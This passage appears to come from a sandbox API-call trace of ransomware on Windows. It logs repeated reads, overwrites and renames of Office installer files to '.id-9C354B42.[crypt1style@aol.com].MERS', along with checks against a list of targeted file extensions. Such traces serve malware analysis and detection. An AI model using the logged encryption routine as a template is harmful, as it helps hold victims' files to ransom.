lpBuffer=0x3a50020*, lpNumberOfBytesRead=0x2ecfed4*=0x50588, lpOverlapped=0x0) returned 1 [0048.569] WriteFile (in: hFile=0x224, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0x50590, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x50590, lpOverlapped=0x0) returned 1 [0048.577] ReadFile (in: hFile=0x220, lpBuffer=0x3a50020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0048.577] WriteFile (in: hFile=0x224, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0048.578] SetEndOfFile (hFile=0x224) returned 1 [0048.578] CloseHandle (hObject=0x224) returned 1 [0048.578] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0048.578] SetEndOfFile (hFile=0x220) returned 1 [0048.581] CloseHandle (hObject=0x220) returned 1 [0048.581] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0048.581] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe")) returned 1 [0048.581] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0048.581] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0048.581] lstrlenW (lpString=".doc") returned 4 [0048.582] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0048.582] lstrlenW (lpString=".docx") returned 5 [0048.582] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0048.582] lstrlenW (lpString=".pdf") returned 4 [0048.582] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0048.582] lstrlenW (lpString=".xls") returned 4 [0048.582] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0048.582] lstrlenW (lpString=".xlsx") returned 5 [0048.582] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0048.582] lstrlenW (lpString=".ppt") returned 4 [0048.582] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0048.582] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0048.582] lstrlenW (lpString=".zip") returned 4 [0048.582] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0048.582] lstrlenW (lpString=".rar") returned 4 [0048.582] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0048.582] lstrlenW (lpString=".bz2") returned 4 [0048.582] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0048.582] lstrlenW (lpString=".7z") returned 3 [0048.582] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0048.582] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0048.582] lstrlenW (lpString=".dbf") returned 4 [0048.582] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0048.582] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0048.582] lstrlenW (lpString=".1cd") returned 4 [0048.582] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0048.582] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0048.582] lstrlenW (lpString=".jpg") returned 4 [0048.582] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0048.582] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0048.582] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0048.583] lstrlenW (lpString=".doc") returned 4 [0048.583] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0048.583] lstrlenW (lpString=".docx") returned 5 [0048.583] lstrcmpiW (lpString1=".docx", lpString2="p.exe") returned -1 [0048.583] lstrlenW (lpString=".pdf") returned 4 [0048.583] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0048.583] lstrlenW (lpString=".xls") returned 4 [0048.583] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0048.583] lstrlenW (lpString=".xlsx") returned 5 [0048.583] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0048.583] lstrlenW (lpString=".ppt") returned 4 [0048.583] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0048.583] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0048.583] lstrlenW (lpString=".zip") returned 4 [0048.583] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0048.583] lstrlenW (lpString=".rar") returned 4 [0048.583] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0048.583] lstrlenW (lpString=".bz2") returned 4 [0048.583] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0048.583] lstrlenW (lpString=".7z") returned 3 [0048.583] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0048.583] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0048.583] lstrlenW (lpString=".dbf") returned 4 [0048.583] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0048.583] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0048.583] lstrlenW (lpString=".1cd") returned 4 [0048.583] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0048.583] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0048.583] lstrlenW (lpString=".jpg") returned 4 [0048.583] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0048.584] lstrcmpiW (lpString1=".cab", lpString2=".MERS") returned -1 [0048.584] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0048.584] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0048.584] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=36233052) returned 1 [0048.584] CloseHandle (hObject=0x220) returned 1 [0048.584] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0048.584] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0048.584] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[crypt1style@aol.com].mers")) returned 1 [0048.585] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0048.585] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0x0) returned 1 [0048.585] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0048.585] ReadFile (in: hFile=0x220, lpBuffer=0x3a50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3a50058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0048.665] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0048.665] ReadFile (in: hFile=0x220, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.228] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0049.228] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0049.228] ReadFile (in: hFile=0x220, lpBuffer=0x3ad0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ad0058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.387] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.388] WriteFile (in: hFile=0x220, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2ecfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x2ecfcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0049.402] SetEndOfFile (hFile=0x220) returned 1 [0049.402] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40000) returned 0x3fc7e30 [0049.405] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0049.406] WriteFile (in: hFile=0x220, lpBuffer=0x3fc7e30*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc7e30*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.406] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0049.406] WriteFile (in: hFile=0x220, lpBuffer=0x3fc7e30*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc7e30*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.407] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0049.407] WriteFile (in: hFile=0x220, lpBuffer=0x3fc7e30*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc7e30*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.409] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3fc7e30 | out: hHeap=0x5f0000) returned 1 [0049.409] CloseHandle (hObject=0x220) returned 1 [0049.409] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0049.409] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0049.409] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0049.409] lstrlenW (lpString=".doc") returned 4 [0049.409] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0049.409] lstrlenW (lpString=".docx") returned 5 [0049.409] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0049.409] lstrlenW (lpString=".pdf") returned 4 [0049.409] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0049.409] lstrlenW (lpString=".xls") returned 4 [0049.409] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0049.409] lstrlenW (lpString=".xlsx") returned 5 [0049.409] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0049.409] lstrlenW (lpString=".ppt") returned 4 [0049.409] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0049.409] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0049.409] lstrlenW (lpString=".zip") returned 4 [0049.409] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0049.409] lstrlenW (lpString=".rar") returned 4 [0049.410] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0049.410] lstrlenW (lpString=".bz2") returned 4 [0049.410] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0049.410] lstrlenW (lpString=".7z") returned 3 [0049.410] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0049.410] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0049.410] lstrlenW (lpString=".dbf") returned 4 [0049.410] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0049.410] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0049.410] lstrlenW (lpString=".1cd") returned 4 [0049.410] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0049.410] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0049.410] lstrlenW (lpString=".jpg") returned 4 [0049.410] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0049.410] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0049.410] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0049.410] lstrlenW (lpString=".doc") returned 4 [0049.410] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0049.410] lstrlenW (lpString=".docx") returned 5 [0049.410] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0049.410] lstrlenW (lpString=".pdf") returned 4 [0049.410] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0049.410] lstrlenW (lpString=".xls") returned 4 [0049.410] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0049.410] lstrlenW (lpString=".xlsx") returned 5 [0049.410] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0049.410] lstrlenW (lpString=".ppt") returned 4 [0049.410] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0049.410] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0049.410] lstrlenW (lpString=".zip") returned 4 [0049.410] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0049.410] lstrlenW (lpString=".rar") returned 4 [0049.410] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0049.410] lstrlenW (lpString=".bz2") returned 4 [0049.410] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0049.410] lstrlenW (lpString=".7z") returned 3 [0049.410] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0049.411] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0049.411] lstrlenW (lpString=".dbf") returned 4 [0049.411] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0049.411] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0049.411] lstrlenW (lpString=".1cd") returned 4 [0049.411] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0049.411] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0049.411] lstrlenW (lpString=".jpg") returned 4 [0049.411] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0049.411] lstrcmpiW (lpString1=".msi", lpString2=".MERS") returned 1 [0049.411] lstrlenW (lpString="VisiorWW.msi") returned 12 [0049.411] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0049.411] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=12060672) returned 1 [0049.411] CloseHandle (hObject=0x220) returned 1 [0049.411] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi")) returned 0x2020 [0049.411] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0049.411] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.id-9c354b42.[crypt1style@aol.com].mers")) returned 1 [0049.412] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.msi.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0049.412] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0x0) returned 1 [0049.412] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0049.412] ReadFile (in: hFile=0x220, lpBuffer=0x3a50058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3a50058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.567] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x3d5800, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0049.567] ReadFile (in: hFile=0x220, lpBuffer=0x3a90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3a90058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.635] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2ecfc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0049.635] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0xb40800, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc2c | out: lpNewFilePointer=0x0) returned 1 [0049.635] ReadFile (in: hFile=0x220, lpBuffer=0x3ad0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2ecfc38, lpOverlapped=0x0 | out: lpBuffer=0x3ad0058*, lpNumberOfBytesRead=0x2ecfc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.775] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0049.775] WriteFile (in: hFile=0x220, lpBuffer=0x3a50020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2ecfcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a50020*, lpNumberOfBytesWritten=0x2ecfcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0049.834] SetEndOfFile (hFile=0x220) returned 1 [0049.834] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x40000) returned 0x3fc7e30 [0049.834] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0049.835] WriteFile (in: hFile=0x220, lpBuffer=0x3fc7e30*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc7e30*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.836] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x3d5800, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0049.836] WriteFile (in: hFile=0x220, lpBuffer=0x3fc7e30*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc7e30*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.841] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0xb40800, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfc7c | out: lpNewFilePointer=0x0) returned 1 [0049.841] WriteFile (in: hFile=0x220, lpBuffer=0x3fc7e30*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2ecfc88, lpOverlapped=0x0 | out: lpBuffer=0x3fc7e30*, lpNumberOfBytesWritten=0x2ecfc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.843] HeapFree (in: hHeap=0x5f0000, dwFlags=0x0, lpMem=0x3fc7e30 | out: hHeap=0x5f0000) returned 1 [0049.843] CloseHandle (hObject=0x220) returned 1 [0049.843] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x2020) returned 1 [0049.843] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0049.843] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0049.843] lstrlenW (lpString=".doc") returned 4 [0049.843] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0049.843] lstrlenW (lpString=".docx") returned 5 [0049.844] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0049.844] lstrlenW (lpString=".pdf") returned 4 [0049.844] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0049.844] lstrlenW (lpString=".xls") returned 4 [0049.844] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0049.844] lstrlenW (lpString=".xlsx") returned 5 [0049.844] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0049.844] lstrlenW (lpString=".ppt") returned 4 [0049.844] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0049.844] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0049.844] lstrlenW (lpString=".zip") returned 4 [0049.844] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0049.844] lstrlenW (lpString=".rar") returned 4 [0049.844] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0049.844] lstrlenW (lpString=".bz2") returned 4 [0049.844] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0049.844] lstrlenW (lpString=".7z") returned 3 [0049.844] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0049.844] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0049.844] lstrlenW (lpString=".dbf") returned 4 [0049.844] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0049.844] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0049.844] lstrlenW (lpString=".1cd") returned 4 [0049.844] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0049.844] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0049.844] lstrlenW (lpString=".jpg") returned 4 [0049.844] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0049.844] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0049.845] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.msi") returned 75 [0049.845] lstrlenW (lpString=".doc") returned 4 [0049.845] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0049.845] lstrlenW (lpString=".docx") returned 5 [0049.845] lstrcmpiW (lpString1=".docx", lpString2="W.msi") returned -1 [0049.845] lstrlenW (lpString=".pdf") returned 4 [0049.845] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0049.845] lstrlenW (lpString=".xls") returned 4 [0049.845] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0049.845] lstrlenW (lpString=".xlsx") returned 5 [0049.845] lstrcmpiW (lpString1=".xlsx", lpString2="W.msi") returned -1 [0049.845] lstrlenW (lpString=".ppt") returned 4 